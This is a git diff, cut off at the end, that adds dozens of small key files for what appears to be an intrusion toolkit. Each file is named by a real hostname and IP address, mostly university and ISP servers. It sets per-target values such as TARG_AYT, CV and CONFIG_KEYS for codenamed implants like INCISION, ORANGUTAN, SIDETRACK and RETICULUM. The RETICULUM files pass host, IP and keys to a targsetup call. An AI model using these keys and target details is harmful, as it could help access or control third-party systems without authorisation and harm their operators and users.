0000000..82be8f9 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.starnets.ro___193.226.61.68___20041102-175718() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.9 + export CONFIG_KEYS="53456171 a3931e7e 7e9572bf" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/patchicillin b/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/patchicillin new file mode 100644 index 0000000..c341714 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.starnets.ro___193.226.61.68/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.starnets.ro___193.226.61.68___20041102-175718() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.9 + export CV="f5b92732 92328723 5a0e7d5c" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/incision b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/incision new file mode 100644 index 0000000..9f6f943 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.sun-ip.or.jp___150.27.1.8___20050830-144704() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="065c1c74 dec7ce4f 6fffd6ac" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/orangutan b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/orangutan new file mode 100644 index 0000000..cadedea --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.sun-ip.or.jp___150.27.1.8___20050830-144704() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="234d9233 24172138 04bf1809" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/patchicillin b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/patchicillin new file mode 100644 index 0000000..959390e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.sun-ip.or.jp___150.27.1.8___20050830-144704() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="e2a3ad0e 5b28c76c 09773aa0" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/sidetrack b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/sidetrack new file mode 100644 index 0000000..18ddfbd --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.sun-ip.or.jp___150.27.1.8/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.sun-ip.or.jp___150.27.1.8___20050830-144704() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="6c47c06c 87b64fb3 74b30ee2 b1601d0b" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.youngdong.ac.kr___202.30.58.5/incision b/Linux/bin/varkeys/pitchimpair/ns1.youngdong.ac.kr___202.30.58.5/incision new file mode 100755 index 0000000..f627874 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.youngdong.ac.kr___202.30.58.5/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.youngdong.ac.kr___202.30.58.5___19691231-190000() { + ## INCISION Version:1.1.2.1 OS:hppa2.0w-hp-hpux11.00 + export TARG_AYT="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns1.youngdong.ac.kr___202.30.58.5/jackladder b/Linux/bin/varkeys/pitchimpair/ns1.youngdong.ac.kr___202.30.58.5/jackladder new file mode 100644 index 0000000..e435594 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns1.youngdong.ac.kr___202.30.58.5/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns1.youngdong.ac.kr___202.30.58.5___20060420-130408() { + ## JACKLADDER Version:2.1.0.2 OS:hppa2.0w-hp-hpux11.00 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/incision b/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/incision new file mode 100644 index 0000000..639053e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2-backup.tpo.fi___193.185.60.40___20021010-101507() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="a7e63e6e 1e0bbfbd 95fcc780" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/orangutan b/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/orangutan new file mode 100644 index 0000000..3556c3a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2-backup.tpo.fi___193.185.60.40___20021010-101507() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="7a052e91 1e5eb662 9309e8a3" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/reticulum b/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/reticulum new file mode 100644 index 0000000..1d3d00d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2-backup.tpo.fi___193.185.60.40/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___ns2-backup.tpo.fi___193.185.60.40___20021010-101507() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host ns2-backup.tpo.fi + set ip 193.185.60.40 + set hostType "Solaris26" + set len 476 + set cv0 f8f0dad5 + set cv1 01434225 + set cv2 a8ec3c12 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/incision b/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/incision new file mode 100644 index 0000000..4a4c5a2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2.ans.co.kr___210.126.104.74___20040316-114321() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="d6d34b00 8ff41929 77f6bc18" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/orangutan b/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/orangutan new file mode 100644 index 0000000..d925033 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2.ans.co.kr___210.126.104.74___20040316-114321() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="f5461310 9cca5b1e 99f2943b" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/reticulum b/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/reticulum new file mode 100644 index 0000000..6cd9cfd --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.ans.co.kr___210.126.104.74/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___ns2.ans.co.kr___210.126.104.74___20040316-114321() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host ns2.ans.co.kr + set ip 210.126.104.74 + set hostType "Solaris27" + set len 476 + set cv0 b12ae4ba + set cv1 cbdce81f + set cv2 523e5146 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.chem.tohoku.ac.jp___130.134.115.132/orangutan b/Linux/bin/varkeys/pitchimpair/ns2.chem.tohoku.ac.jp___130.134.115.132/orangutan new file mode 100644 index 0000000..c92d3d8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.chem.tohoku.ac.jp___130.134.115.132/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2.chem.tohoku.ac.jp___130.134.115.132___20031027-132012() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="a670b3a6 e298b21b 072e191c" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.chem.tohoku.ac.jp___130.34.115.132/incision b/Linux/bin/varkeys/pitchimpair/ns2.chem.tohoku.ac.jp___130.34.115.132/incision new file mode 100644 index 0000000..ec7b628 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.chem.tohoku.ac.jp___130.34.115.132/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2.chem.tohoku.ac.jp___130.34.115.132___20031027-132012() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="b15ddeeb 7a3d3528 601fa067" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/incision b/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/incision new file mode 100644 index 0000000..5579a7c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2.otenet.gr___195.170.2.1___20020513-135956() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.8 + export TARG_AYT="06016d21 6c0b9610 e153452a" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/orangutan b/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/orangutan new file mode 100644 index 0000000..f8de63a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2.otenet.gr___195.170.2.1___20020513-135956() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="a913acb1 e5a0d1fd 99418b79" +} diff --git a/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/sidetrack b/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/sidetrack new file mode 100644 index 0000000..1da585b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/ns2.otenet.gr___195.170.2.1/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___ns2.otenet.gr___195.170.2.1___20020606-151104() { + ## SIDETRACK Version:2.0 OS:sparc-sun-solaris2.8 + export CV="dfe4e4b8 ef2ae65c 252f7eb4 1f892b8b" +} diff --git a/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/dewdrop b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/dewdrop new file mode 100644 index 0000000..b350701 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___nsce1.ji-net.com___203.147.62.229___20080208-141051() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/incision b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/incision new file mode 100644 index 0000000..3bdee39 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___nsce1.ji-net.com___203.147.62.229___20080208-141051() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="84b8d198 d7058b04 787bab57" +} diff --git a/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/jackladder b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/jackladder new file mode 100644 index 0000000..f5d475a --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___nsce1.ji-net.com___203.147.62.229___20080208-141051() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/orangutan b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/orangutan new file mode 100644 index 0000000..6bb112c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___nsce1.ji-net.com___203.147.62.229___20080208-141051() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="5e376a14 9eb700e7 820a5da3" +} diff --git a/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/patchicillin b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/patchicillin new file mode 100644 index 0000000..97472eb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/nsce1.ji-net.com___203.147.62.229/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___nsce1.ji-net.com___203.147.62.229___20080208-141051() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.6 + export CV="0d7f1095 e0f3ed5b bade456b" +} diff --git a/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/incision b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/incision new file mode 100644 index 0000000..c0a0615 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___oiz.sarenet.es___192.148.167.17___20011016-000000() { + ## INCISION Version:4.6 OS:sparc-sun-solaris2.7 + export TARG_AYT="12345678 9abcdef0 12345678" +} diff --git a/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/jackladder b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/jackladder new file mode 100644 index 0000000..9bbeaef --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___oiz.sarenet.es___192.148.167.17___20010907-085900() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/orangutan b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/orangutan new file mode 100644 index 0000000..79c0668 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___oiz.sarenet.es___192.148.167.17___20010907-085900() { + ## ORANGUTAN Version:1.3 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="1be20719 30bddc0d a6862685" +} diff --git a/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/reticulum b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/reticulum new file mode 100644 index 0000000..f7f2ec0 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/oiz.sarenet.es___192.148.167.17/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___oiz.sarenet.es___192.148.167.17___20010907-085900() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 Options:I,O + # + set host oiz.sarenet.es + set ip 192.148.167.17 + set hostType "Solaris27" + set len 476 + set cv0 6c0608ff + set cv1 5a134b3b + set cv2 9e085c7b + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/incision b/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/incision new file mode 100644 index 0000000..54fbaa8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___okapi.ict.pwr.wroc.pl___156.17.42.30___20100818-114346() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.5.1 + export TARG_AYT="28348c11 0445b83c 3321090e" +} diff --git a/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/jackladder b/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/jackladder new file mode 100644 index 0000000..ce61b3f --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___okapi.ict.pwr.wroc.pl___156.17.42.30___20100818-114346() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.5.1 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/patchicillin b/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/patchicillin new file mode 100644 index 0000000..c82d7cb --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/okapi.ict.pwr.wroc.pl___156.17.42.30/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___okapi.ict.pwr.wroc.pl___156.17.42.30___20100818-114346() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.5.1 + export CV="e594d7f0 51b5b81d 165ac5e2" +} diff --git a/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/incision b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/incision new file mode 100644 index 0000000..83023f2 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___orhi.sarenet.es___192.148.167.5___20030701-144321() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.8 + export TARG_AYT="f0301471 98e4aa69 60d99234" +} diff --git a/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/jackladder b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/jackladder new file mode 100644 index 0000000..827e92b --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/jackladder @@ -0,0 +1,3 @@ +PITCHIMPAIR___orhi.sarenet.es___192.148.167.5___20010918-172532() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.7 +} diff --git a/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/orangutan b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/orangutan new file mode 100644 index 0000000..19339a3 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___orhi.sarenet.es___192.148.167.5___20030701-144321() { + ## ORANGUTAN Version:1.6 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="e09bcea2 ba773aab 8568ea44" +} diff --git a/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/reticulum b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/reticulum new file mode 100644 index 0000000..3987c19 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/orhi.sarenet.es___192.148.167.5/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___orhi.sarenet.es___192.148.167.5___20010918-172343() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 Options:I,O + # + set host orhi.sarenet.es + set ip 192.148.167.5 + set hostType "Solaris27" + set len 476 + set cv0 8bc9419f + set cv1 be6664a6 + set cv2 f921c5e8 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/incision b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/incision new file mode 100644 index 0000000..3156d0d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___pastow.e-technik.uni-rostock.de___139.30.200.36___20040929-213949() { + ## INCISION Version:4.10 OS:sparc-sun-solaris2.8 + export TARG_AYT="d85e40b8 17b797a0 7175ffd0" +} diff --git a/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/orangutan b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/orangutan new file mode 100644 index 0000000..8b17223 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___pastow.e-technik.uni-rostock.de___139.30.200.36___20040929-213949() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.8 + export CONFIG_KEYS="c7a4fdf2 62fcecba 976e6a5a" +} diff --git a/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/patchicillin b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/patchicillin new file mode 100644 index 0000000..35bcdb1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/patchicillin @@ -0,0 +1,4 @@ +PITCHIMPAIR___pastow.e-technik.uni-rostock.de___139.30.200.36___20040929-213949() { + ## PATCHICILLIN Version:1.1.2.1 OS:sparc-sun-solaris2.8 + export CV="a174585a c2750ae0 0c4ed085" +} diff --git a/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/sidetrack b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/sidetrack new file mode 100644 index 0000000..572995c --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pastow.e-technik.uni-rostock.de___139.30.200.36/sidetrack @@ -0,0 +1,4 @@ +PITCHIMPAIR___pastow.e-technik.uni-rostock.de___139.30.200.36___20040929-213949() { + ## SIDETRACK Version:2.1 OS:sparc-sun-solaris2.8 + export CV="61711c97 759a97bc 01df6132 b807c23a" +} diff --git a/Linux/bin/varkeys/pitchimpair/paula.e-technik.uni-rostock.de___139.30.200.225/dewdrop b/Linux/bin/varkeys/pitchimpair/paula.e-technik.uni-rostock.de___139.30.200.225/dewdrop new file mode 100644 index 0000000..f7d23a8 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/paula.e-technik.uni-rostock.de___139.30.200.225/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___paula.e-technik.uni-rostock.de___139.30.200.225___20061201-141212() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/paula.e-technik.uni-rostock.de___139.30.200.225/stoicsurgeon b/Linux/bin/varkeys/pitchimpair/paula.e-technik.uni-rostock.de___139.30.200.225/stoicsurgeon new file mode 100644 index 0000000..6434256 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/paula.e-technik.uni-rostock.de___139.30.200.225/stoicsurgeon @@ -0,0 +1,4 @@ +PITCHIMPAIR___paula.e-technik.uni-rostock.de___139.30.200.225___20061201-141212() { + ## STOICSURGEON Version:STOICSURGEON v1.0.5.3 sparc-sun-solaris2.9 OS:sparc-sun-solaris2.9 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/incision b/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/incision new file mode 100644 index 0000000..32abefe --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/incision @@ -0,0 +1,5 @@ +INTONATION___pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2___20020702-135908() { + ## INCISION Version:4.8.2 OS:sparc-sun-solaris2.6 + export TARG_AYT="b1b1509e 818ca176 fdc324dd" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=0 +} diff --git a/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/orangutan b/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/orangutan new file mode 100644 index 0000000..18f861e --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/orangutan @@ -0,0 +1,4 @@ +INTONATION___pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2___20020702-135908() { + ## ORANGUTAN Version:1.4 OS:sparc-sun-solaris2.6 + export CONFIG_KEYS="88b22cff 2fb0ee77 f938df08" +} diff --git a/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/reticulum b/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/reticulum new file mode 100644 index 0000000..cccab02 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2/reticulum @@ -0,0 +1,20 @@ +INTONATION___pfdsun.kuicr.kyoto-u.ac.jp___133.3.5.2___20020702-135908() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.6 + # + set host pfdsun.kuicr.kyoto-u.ac.jp + set ip 133.3.5.2 + set hostType "Solaris26" + set len 476 + set cv0 fd788d6d + set cv1 1625c4c2 + set cv2 8e44f9b9 + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/dewdrop b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/dewdrop new file mode 100644 index 0000000..c51cec4 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/dewdrop @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.kita.osaka.jp___202.243.222.7___20090318-124000() { + ## DEWDROP Version:1.0.1.1 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/incision b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/incision new file mode 100644 index 0000000..5e24330 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/incision @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.kita.osaka.jp___202.243.222.7___20090318-124000() { + ## INCISION Version:4.10.2.13 OS:sparc-sun-solaris2.6 + export TARG_AYT="bbd9190c cb440e21 11f44c25" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/jackladder b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/jackladder new file mode 100644 index 0000000..83b3dba --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/jackladder @@ -0,0 +1,4 @@ +PITCHIMPAIR___photon.sci-museum.kita.osaka.jp___202.243.222.7___20090318-124000() { + ## JACKLADDER Version:2.0 OS:sparc-sun-solaris2.6 + export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/orangutan b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/orangutan new file mode 100644 index 0000000..dd34ba1 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/photon.sci-museum.kita.osaka.jp___202.243.222.7/orangutan @@ -0,0 +1,4 @@ 